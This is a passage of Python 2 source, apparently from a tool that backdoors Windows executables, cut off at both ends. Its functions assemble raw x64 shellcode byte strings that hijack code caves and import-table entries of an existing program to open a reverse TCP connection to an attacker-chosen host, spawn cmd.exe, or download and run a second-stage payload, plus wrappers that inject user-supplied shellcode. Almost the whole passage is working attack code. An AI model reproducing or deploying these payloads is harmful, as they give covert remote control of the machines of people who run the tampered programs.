return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'User supplies the shellcode, make sure that it EXITs via a thread.'
|
def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
|
flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 244)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb8\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += self.supplied_shellcode
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\x90\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
self.shellcode1 += ']I\xc7\xc6'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xf2j\x00YhX\xa4S\xe5AZ\xff\xd5H\x89\xc3H\x89\xc7'
self.shellcode1 += 'H\xc7\xc1'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebC'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1I\xc7\xc28h\r\x16\xff\xd5H\x83\xc4X\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'
|
def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):
|
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
self.shellcode1 = '\xfc'
self.shellcode1 += 'I\xbe'
if ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['LoadLibraryA'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd6'
self.shellcode1 += 'I\xbf'
if ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['GetProcAddress'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd7'
'\n Winx64 asm calling convention\n RCX, RDX, R8, R9 for the first four integer or pointer arguments (in that order),\n and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments. Additional arguments\n are pushed onto the stack (right to left). Integer return values (similar to x86) are\n returned in RAX if 64 bits or less. Floating point return values are returned in XMM0.\n Parameters less than 64 bits long are not zero extended; the high bits are not zeroed.\n\n The caller reserves space on the stack (unlike x86)\n rbx\n rbp\n r12\n r13\n r14: GetProcAddress\n r15: LoadLibraryA\n\n '
self.shellcode1 += 'I\xbbws2_32\x00\x00ASI\x89\xe3H\x81\xec\xa0\x01\x00\x00H\x89\xe6H\xbf\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'WH\x89\xe7L\x89\xd9H\x83\xec A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0cWSAStartup\x00\x00H\x8d\x15\xed\xff\xff\xffH\x83\xec A\xff\x17H\x95\xeb\x0cWSASocketA\x00\x00H\x8d\x15\xed\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17I\x94H\x89\xf2h\x01\x01\x00\x00YH\x83\xec \xff\xd5PPM1\xc0M1\xc9H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1H\x83\xec A\xff\xd4I\x94H\xbaconnect\x00RH\x89\xe2L\x89\xe9H\x83\xec A\xff\x17H\x89\xc3j\x10AXH\x89\xfaL\x89\xe1H\x83\xec \xff\xd3'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
self.shellcode2 = '\xeb DCTB kernel32\x00H\x8d\r\xf0\xff\xff\xffH\x83\xec A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0fCreateProcessA\x00H\x8d\x15\xea\xff\xff\xffH\x83\xec A\xff\x17H\x89\xc7I\x87\xfcI\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1H\x83\xec A\xff\xd4\xeb\x14WaitForSingleObject\x00H\x8d\x15\xe5\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17H1\xd2\x8b\x0eH\x83\xec \xff\xd0H\x81\xc4\x08\x04\x00\x00'
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'Complete IAT based payload includes spawning of thread.'
|
def iat_reverse_tcp_inline_threaded(self, flItms, CavesPicked={}):
|
flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'CreateThread', 'VirtualAlloc']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 272)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 244)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xb8\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += '\xfc'
self.shellcode2 += 'UH\x89\xe5'
self.shellcode2 += 'H1\xd2'
self.shellcode2 += 'eH\x8bR`'
self.shellcode2 += 'H\x8bR\x10'
self.shellcode2 += 'I\xbe'
if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<Q', (flItms['LoadLibraryA'] - flItms['ImageBase']))
self.shellcode2 += 'I\x01\xd6'
self.shellcode2 += 'I\xbf'
if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<Q', (flItms['GetProcAddress'] - flItms['ImageBase']))
self.shellcode2 += 'I\x01\xd7'
'\n Winx64 asm calling convention\n RCX, RDX, R8, R9 for the first four integer or pointer arguments (in that order),\n and XMM0, XMM1, XMM2, XMM3 are used for floating point arguments. Additional arguments\n are pushed onto the stack (right to left). Integer return values (similar to x86) are\n returned in RAX if 64 bits or less. Floating point return values are returned in XMM0.\n Parameters less than 64 bits long are not zero extended; the high bits are not zeroed.\n\n The caller reserves space on the stack (unlike x86)\n rbx\n rbp\n r12\n r13\n r14: GetProcAddress\n r15: LoadLibraryA\n\n '
self.shellcode2 += 'I\xbbws2_32\x00\x00ASI\x89\xe3H\x81\xec\xa0\x01\x00\x00H\x89\xe6H\xbf\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'WH\x89\xe7L\x89\xd9H\x83\xec A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0cWSAStartup\x00\x00H\x8d\x15\xed\xff\xff\xffH\x83\xec A\xff\x17H\x95\xeb\x0cWSASocketA\x00\x00H\x8d\x15\xed\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17I\x94H\x89\xf2h\x01\x01\x00\x00YH\x83\xec \xff\xd5PPM1\xc0M1\xc9H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1H\x83\xec A\xff\xd4I\x94H\xbaconnect\x00RH\x89\xe2L\x89\xe9H\x83\xec A\xff\x17H\x89\xc3j\x10AXH\x89\xfaL\x89\xe1H\x83\xec \xff\xd3'
self.shellcode2 += '\xeb DCTB kernel32\x00H\x8d\r\xf0\xff\xff\xffH\x83\xec A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0fCreateProcessA\x00H\x8d\x15\xea\xff\xff\xffH\x83\xec A\xff\x17H\x89\xc7I\x87\xfcI\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1H\x83\xec A\xff\xd4\xeb\x14WaitForSingleObject\x00H\x8d\x15\xe5\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17H1\xd2H\xff\xca\x8b\x0eH\x83\xec \xff\xd0'
self.shellcode2 += '\xeb\x0bGetVersion\x00H\x8d\x15\xee\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17H\x83\xec \xff\xd0\x83\xf8\x06}\x19\xeb\x0bExitThread\x00H\x8d\x15\xee\xff\xff\xffL\x89\xe9\xeb4\xeb\x06ntdll\x00H\x8d\r\xf3\xff\xff\xffH\x83\xec A\xff\x16H\x89\xc1\xeb\x12RtlExitUserThread\x00H\x8d\x15\xe7\xff\xff\xffH\x83\xec A\xff\x17H1\xc9\xff\xd0'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\x90\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
self.shellcode1 += ']I\xc7\xc6'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xf2j\x00YhX\xa4S\xe5AZ\xff\xd5H\x89\xc3H\x89\xc7'
self.shellcode1 += 'H\xc7\xc1'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebC'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1I\xc7\xc28h\r\x16\xff\xd5H\x83\xc4X\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Completed IAT based payload includes spawning of thread.'
|
def iat_reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
|
flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 99)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 99)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 71)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xba\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += '\xfc'
self.shellcode2 += 'UH\x89\xe5'
self.shellcode2 += 'H1\xd2'
self.shellcode2 += 'eH\x8bR`'
self.shellcode2 += 'H\x8bR\x10'
self.shellcode2 += 'I\xbe'
if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<Q', (flItms['LoadLibraryA'] - flItms['ImageBase']))
self.shellcode2 += 'I\x01\xd6'
self.shellcode2 += 'I\xbf'
if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<Q', (flItms['GetProcAddress'] - flItms['ImageBase']))
self.shellcode2 += 'I\x01\xd7'
self.shellcode2 += 'I\xbbws2_32\x00\x00ASI\x89\xe3H\x81\xec\xa0\x01\x00\x00H\x89\xe6H\xbf\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'WH\x89\xe7L\x89\xd9H\x83\xec A\xff\x16I\x89\xc5H\x89\xc1\xeb\x0cWSAStartup\x00\x00H\x8d\x15\xed\xff\xff\xffH\x83\xec A\xff\x17H\x95\xeb\x0cWSASocketA\x00\x00H\x8d\x15\xed\xff\xff\xffL\x89\xe9H\x83\xec A\xff\x17I\x94H\x89\xf2h\x01\x01\x00\x00YH\x83\xec \xff\xd5PPM1\xc0M1\xc9H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1H\x83\xec A\xff\xd4I\x94H\xbaconnect\x00RH\x89\xe2L\x89\xe9H\x83\xec A\xff\x17H\x89\xc3j\x10AXH\x89\xfaL\x89\xe1H\x83\xec \xff\xd3'
self.shellcode2 += '\x90\x90\x90\x90L\x89\xe9H\xbarecv\x00\x00\x00\x00RH\x89\xe2H\x83\xec A\xff\x17I\x89\xc5H\x81\xc4\xd0\x02\x00\x00H\x83\xec\x10H\x89\xe2M1\xc9j\x04AXL\x89\xe1H\x83\xec A\xff\xd5H\x83\xc4 ^'
self.shellcode2 += 'H1\xd2eH\x8bR`H\x8bR\x10'
self.shellcode2 += 'I\xbe'
if ((flItms['VirtualAlloc'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<Q', (4294967295 + ((flItms['VirtualAlloc'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<Q', (flItms['VirtualAlloc'] - flItms['ImageBase']))
self.shellcode2 += 'I\x01\xd6'
self.shellcode2 += 'j@AYh\x00\x10\x00\x00AXH\x89\xf2H1\xc9H\x83\xec A\xff\x16H\x89\xc3I\x89\xc7M1\xc9I\x89\xf0H\x89\xdaL\x89\xe1H\x83\xec A\xff\xd5H\x01\xc3H)\xc6H\x85\xf6u\xe2L\x89\xe7A\xff\xe7'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc'
self.shellcode1 += 'I\xbe'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd6'
self.shellcode1 += 'I\xbf'
if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd7'
self.shellcode1 += ']I\xc7\xc5'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xeaj\x00YH\x83\xec A\xff\x16H\x89\xc3H\x89\xc7'
self.shellcode1 += 'H\xc7\xc1'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebA'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1H\x83\xec A\xff\x17H\x83\xc4P\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Completed IAT based payload includes spawning of thread.'
|
def iat_user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
|
flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 99)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 99)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 71)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xba\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 90)
self.shellcode2 += self.supplied_shellcode
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc'
self.shellcode1 += 'I\xbe'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd6'
self.shellcode1 += 'I\xbf'
if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<Q', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<Q', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += 'I\x01\xd7'
self.shellcode1 += ']I\xc7\xc5'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xeaj\x00YH\x83\xec A\xff\x16H\x89\xc3H\x89\xc7'
self.shellcode1 += 'H\xc7\xc1'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xebA'
self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1H\x83\xec A\xff\x17H\x83\xc4P\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Sample code for finding sutable code caves'
|
def cave_miner_inline(self, flItms, CavesPicked={}):
|
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ''
if (flItms['cave_jumping'] is True):
if (breakupvar > 0):
self.shellcode1 += '\xe9'
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
